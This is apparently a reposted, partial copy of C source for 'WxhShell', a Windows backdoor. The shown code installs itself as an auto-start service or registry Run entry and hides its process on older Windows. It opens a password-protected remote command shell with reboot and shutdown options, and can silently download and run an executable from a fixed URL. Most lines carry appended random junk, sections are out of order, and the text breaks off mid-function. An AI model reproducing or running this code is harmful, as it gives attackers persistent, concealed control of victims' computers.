} PROCESS_BASIC_INFORMATION; C=&n1/
NYHK>u/5c
PROCNTQSIP NtQueryInformationProcess; PA
ZjA0d
g4,ldr"D
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M-h+'G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LRu*%3xx
yKj}l,i~8
HANDLE hProcess; +zch e
PROCESS_BASIC_INFORMATION pbi; %eofG]VM<
/Lr`Aka5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *)w+xWmM3w
if(NULL == hInst ) return 0; #3_g8ni5X
9VTAs:0D=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EQ^]W-gN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s/hWhaS<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l+2NA4s
P]^OSPRg
if (!NtQueryInformationProcess) return 0; !Q~>)$Cf^
b6k_u9m^E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @R`6jS_gK
if(!hProcess) return 0; |0}Xb|+
T\p>wiY2|F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `!N}u
? Pi|`W
CloseHandle(hProcess); 5%9Uh'y#
VS ECD;u4c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uZL,%pF3A
if(hProcess==NULL) return 0;
K!9K^ h
/77cjesZ9
HMODULE hMod; S[$9_J f
char procName[255]; _PPC?k{z!
unsigned long cbNeeded; j$_?g!I=gK
^cPVnl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &S+*1<|`K
z6J12tu
CloseHandle(hProcess); K!ogpd&X&
iP9]b&
if(strstr(procName,"services")) return 1; // 以服务启动 6|q"lS*$S
6p)&}m9!
return 0; // 注册表启动 Peph..8 Z
} y>t:flD*
&uE )Vr4 R
// 主模块 N`IXSE
int StartWxhshell(LPSTR lpCmdLine) ~),%w*L
{ ws`r\k]3J
SOCKET wsl; x7E] }h
BOOL val=TRUE; AKjobA#
int port=0; /f?;,CyI
struct sockaddr_in door; #FAW@6QG
6P>Y2xV:
if(wscfg.ws_autoins) Install(); \; '#8
d!T,fz/-.
port=atoi(lpCmdLine); %K3U`6kHcd
XQ[\K6X5
if(port<=0) port=wscfg.ws_port; ] H;E(1iU
J&'*N:d
WSADATA data; d_$0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -:d{x#
dL4VcUS.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t*Ro2QZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f2gh|p`
door.sin_family = AF_INET; rz|Sjtq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'qiAmaX
door.sin_port = htons(port); mz1m^p)~{
AaB1H7r-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $H3C/|
closesocket(wsl); dkEbP*yXg
return 1; xzY/$?
} y_[VhZ%
={cM6F}a@
if(listen(wsl,2) == INVALID_SOCKET) { CZ]Dm4
closesocket(wsl); (T2HUmkQ6
return 1; "Y^Fn,c
} "dv\
9O
Wxhshell(wsl);
MwQtf(_
WSACleanup(); 7^rT-f07
@eBo7#Zr
return 0; \M.?*p
9HN&M*}
} :tFcPc'
yO8@ .-j b
// 以NT服务方式启动 e^\(bp+83
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]6v7iuvI
{ xv$fw>
DWORD status = 0; @(=?x:j
DWORD specificError = 0xfffffff;
K%%Ow
3`SH-"{j%
serviceStatus.dwServiceType = SERVICE_WIN32; %jj-\Gz!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )ZLj2H <
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g$ )0E<
serviceStatus.dwWin32ExitCode = 0; /J-.K*xKt
serviceStatus.dwServiceSpecificExitCode = 0; &,p6lbP
serviceStatus.dwCheckPoint = 0; K($+ILZ
serviceStatus.dwWaitHint = 0; g8Y)90 G
@~$=96^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {c?{M.R
if (hServiceStatusHandle==0) return; 7mi=Xa:U
.XK3o .ZhW
status = GetLastError(); ?S=y>b9R
if (status!=NO_ERROR) dmkGIg}
{ I31Nu{
serviceStatus.dwCurrentState = SERVICE_STOPPED; D?Ol)aj?
serviceStatus.dwCheckPoint = 0; ?T%"Jgy8
serviceStatus.dwWaitHint = 0; @fo(#i&
serviceStatus.dwWin32ExitCode = status; wb#[&2i
serviceStatus.dwServiceSpecificExitCode = specificError; py~[M'p(H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f9_Pn'"I
return; !T)_(}|6}
} A;ZluQ
OBlQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; $M-"az]
serviceStatus.dwCheckPoint = 0; rFC9y o
serviceStatus.dwWaitHint = 0; 23=wz%tF
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \[]BB5)8
} jsV1~1:83
m#Z9wf] F
// 处理NT服务事件,比如:启动、停止 (mi=I3A(
VOID WINAPI NTServiceHandler(DWORD fdwControl) lv.h?"Ml
{ 15|gG<-
switch(fdwControl) "3 2Ua3m:G
{ WQw11uMt@q
case SERVICE_CONTROL_STOP: r#ADxqkaV
serviceStatus.dwWin32ExitCode = 0; qS}{O0
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1$}Tn
serviceStatus.dwCheckPoint = 0; :&$v.#
serviceStatus.dwWaitHint = 0; I`@>v%0
{ H_Hr=_8}-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }|=Fnyj
} K43`$
return; S9b=?? M)
case SERVICE_CONTROL_PAUSE: 7PfNPz<4+
serviceStatus.dwCurrentState = SERVICE_PAUSED; a&mL Dh/
break; [UdJ(cGf
case SERVICE_CONTROL_CONTINUE: t]3:vp5N]
serviceStatus.dwCurrentState = SERVICE_RUNNING; H,/=<Th;i
break; `7`` 1TL
case SERVICE_CONTROL_INTERROGATE:
_,Q -)\
break; J+Y?'"r
}; Mp5Z=2l5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Q</0*sp
} IA=\c
]U4C2}u
// 标准应用程序主函数 p*zTuB~e <
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @1k-h;`,
{ tnb'\}Vn
E7SmiD@)
// 获取操作系统版本 n*AN/LBp
OsIsNt=GetOsVer(); N^[MeG,8
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5P);t9O6
Ho%%voJBS
// 从命令行安装 @O6
2}F
if(strpbrk(lpCmdLine,"iI")) Install(); _!vuDv%
#'#@H
// 下载执行文件 *gwo.s
if(wscfg.ws_downexe) { X"f]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vvG*DGL)qL
WinExec(wscfg.ws_filenam,SW_HIDE); Kx;l a
} SrMfd7H8f
#;P-*P
if(!OsIsNt) { >^@~}]L
// 如果时win9x,隐藏进程并且设置为注册表启动 Zwtz )ZII
HideProc();
(w<llb`]
StartWxhshell(lpCmdLine); 70R_O&f-k
} 7}mrC@[i
else +OInf_O
if(StartFromService()) loyhNT=
// 以服务方式启动 a|dn3R>vX
StartServiceCtrlDispatcher(DispatchTable); +9;6]4
else C2hB7?UGN
// 普通方式启动 EUPc+D3
StartWxhshell(lpCmdLine); e/)Vx'd`+
1B{u4w7S4e
return 0; 7;#o?6!7
} PMj!T \B|
$U^ Ms!'L
r/+~4W5
);p:[=$71
=========================================== @&Af[X4s
){tTB
gHH[QLD=I
IV`+B<3
1R.6Xer
@zsqjm
" %x^ U3"7
6I5LZ^/ G9
#include <stdio.h> B1U7z1<
#include <string.h> .T~Oc'wGo
#include <windows.h> $C{-gx+:
#include <winsock2.h> I^``x+a
#include <winsvc.h> =^ x1:Ak
#include <urlmon.h> %$R]NL|
Uo:=-NNI
#pragma comment (lib, "Ws2_32.lib") CY@#_z
#pragma comment (lib, "urlmon.lib") -zm-|6[Wi
#.@D}7y5
#define MAX_USER 100 // 最大客户端连接数 kbx4I?
#define BUF_SOCK 200 // sock buffer al]-*=v7}
#define KEY_BUFF 255 // 输入 buffer Cj6$W5I m
thh0~g0/
#define REBOOT 0 // 重启 >\1j`/ :ZI
#define SHUTDOWN 1 // 关机 [@$t35t~
7t%
|s!~
#define DEF_PORT 5000 // 监听端口 U,\t2z
|198A,^
#define REG_LEN 16 // 注册表键长度 bqZ5GKUo
#define SVC_LEN 80 // NT服务名长度 [_tBv" z
mw${3j~&
// 从dll定义API R6irL!akAd
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HAcC& s8
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g % 8@pjk
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jQ P2[\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@!Gs'Op
>s;dooZ
// wxhshell配置信息 7Y1FFw|
struct WSCFG { @_"Z]Y ,D0
int ws_port; // 监听端口 E$5A
1
char ws_passstr[REG_LEN]; // 口令 h`MTB!o
int ws_autoins; // 安装标记, 1=yes 0=no ]M&KUgz
char ws_regname[REG_LEN]; // 注册表键名 >yt8gw0J
char ws_svcname[REG_LEN]; // 服务名 vq5o?$:-
char ws_svcdisp[SVC_LEN]; // 服务显示名 :T/I%|;f
char ws_svcdesc[SVC_LEN]; // 服务描述信息 {=T9_c
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 843O}v'
int ws_downexe; // 下载执行标记, 1=yes 0=no P?`a{sl.
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'iEu1! t\0
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7MwS[N%#
qZh}gu*>
}; PCiwQ4~
6"U$H$i.G
// default Wxhshell configuration `R_;n#3F0
struct WSCFG wscfg={DEF_PORT, 2?(dS
"xuhuanlingzhe", z~RE}k
1, :>m67Zq
"Wxhshell", +nQp_a1{9%
"Wxhshell", Jw
-3G3h
"WxhShell Service", Ibu 5
"Wrsky Windows CmdShell Service", r[KX"U-
"Please Input Your Password: ", ;Z-%'5hKM
1, ,\ zx4*
"http://www.wrsky.com/wxhshell.exe", lemUUl(^
"Wxhshell.exe" t$ 3/ZTx
}; GNI:k{H@"?
Ou2p^:C(
// 消息定义模块 6fw2;$x"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F+m;y
char *msg_ws_prompt="\n\r? for help\n\r#>"; -h,?_d>
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M_f.e!?
char *msg_ws_ext="\n\rExit."; @@#h-k%k-
char *msg_ws_end="\n\rQuit."; 6{?B`gm7g
char *msg_ws_boot="\n\rReboot..."; C.?~D*Q
char *msg_ws_poff="\n\rShutdown..."; l[b`4
char *msg_ws_down="\n\rSave to "; A0gRX]
)s>R~7
char *msg_ws_err="\n\rErr!"; *f3?0w
char *msg_ws_ok="\n\rOK!"; 3V0^v
,^&amWey
char ExeFile[MAX_PATH]; ->a|
int nUser = 0; Ox&]{
HANDLE handles[MAX_USER]; 8QFg6#"O
int OsIsNt; C "g bol^
)cBO_
SERVICE_STATUS serviceStatus; lWk/vj<5
SERVICE_STATUS_HANDLE hServiceStatusHandle; 'DtC=
9 kLA57
// 函数声明 }<=_&n
int Install(void); "<yJ<lS&>
int Uninstall(void); klx28/]
int DownloadFile(char *sURL, SOCKET wsh); gH|:=vfYUR
int Boot(int flag); 7Nlk:f)*-
void HideProc(void); >AUzsQ
int GetOsVer(void); `z<I<
int Wxhshell(SOCKET wsl); kuW^_BROJ
void TalkWithClient(void *cs); fsUZG6
int CmdShell(SOCKET sock); ! +XreCw
int StartFromService(void); ~r?VXO p"
int StartWxhshell(LPSTR lpCmdLine); }5lC8{wZ
p?'&P!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I@:"Qee
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -$cO0RSY
5O"$'iL
// 数据结构和表定义 w7QYWf'
SERVICE_TABLE_ENTRY DispatchTable[] = #7p!xf^
{ oR'u&\mB
{wscfg.ws_svcname, NTServiceMain}, ^BhS*
{NULL, NULL} }sW%i#CV
}; 5b;~&N4~
|a>,FZv8e
// 自我安装 ;]^% 6B n
int Install(void) dnCurWjdk
{ -Rbv#Y
char svExeFile[MAX_PATH]; *b\&R%6dR
HKEY key; z^\-x9vL
strcpy(svExeFile,ExeFile); q:u,)6
tYMPqP,1.
// 如果是win9x系统,修改注册表设为自启动 1}3tpO;
if(!OsIsNt) { `{9bf)vP6
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gvoYyO#cm
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `zsooA
Gt
RegCloseKey(key); eR:C?v
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W7"UhM
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )w,<XJhg`
RegCloseKey(key); p;.M.
return 0; 0n*D](/NK
} !TLJk]7uC
} )F,z pGG
} %`}nP3
else { @IV,sze
dK>sHUu
// 如果是NT以上系统,安装为系统服务 LyRW\\z2
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I*H($ a
if (schSCManager!=0) QVo>Uit
{ 3a}53?$
SC_HANDLE schService = CreateService x%T.0@!8
( 8~ u/gM
schSCManager, f-Zi!AGh>
wscfg.ws_svcname, h}4yz96WD
wscfg.ws_svcdisp, 1C(sBU"
SERVICE_ALL_ACCESS, +P%k@w#<Z
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ik-E_U2
SERVICE_AUTO_START, fw)Q1"|
SERVICE_ERROR_NORMAL, D 3Tqk^5
svExeFile, rG3?Z^&R+
NULL, )Bu#ln"
NULL, AejM\#>
NULL, y+nX(@~f]
NULL, r*9*xZ>8u
NULL DcN!u6sJ
); ~]SCf@pRk
if (schService!=0) 63/a 0Yn
{ P=R-1V
CloseServiceHandle(schService); zJov*^T-C
CloseServiceHandle(schSCManager); yX/{eX5dr
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $N\k*=
strcat(svExeFile,wscfg.ws_svcname); 8&yI1XM|
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UT0}Ce>e
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7QRkXs
RegCloseKey(key); \&[(PNl
return 0; LZ RP}|
} K%1`LT5:~
} L}rYh`bUP[
CloseServiceHandle(schSCManager); 0X5b32
} K
#}t\
} /h8100
^0 &jy:{
return 1; iP6?[pl8
} NuW6~PV
hR~&}sxN
// 自我卸载 d'iSvd.
int Uninstall(void) \}W !
{ Z"$iB-]
HKEY key; T"1=/r$Ft
X.ecA`0
if(!OsIsNt) { [,(+r7aB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n;wViw
RegDeleteValue(key,wscfg.ws_regname); Q" r y@
(I
RegCloseKey(key); wHh6y? g\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n'[>h0
RegDeleteValue(key,wscfg.ws_regname); 6sG5n7E-A
RegCloseKey(key); &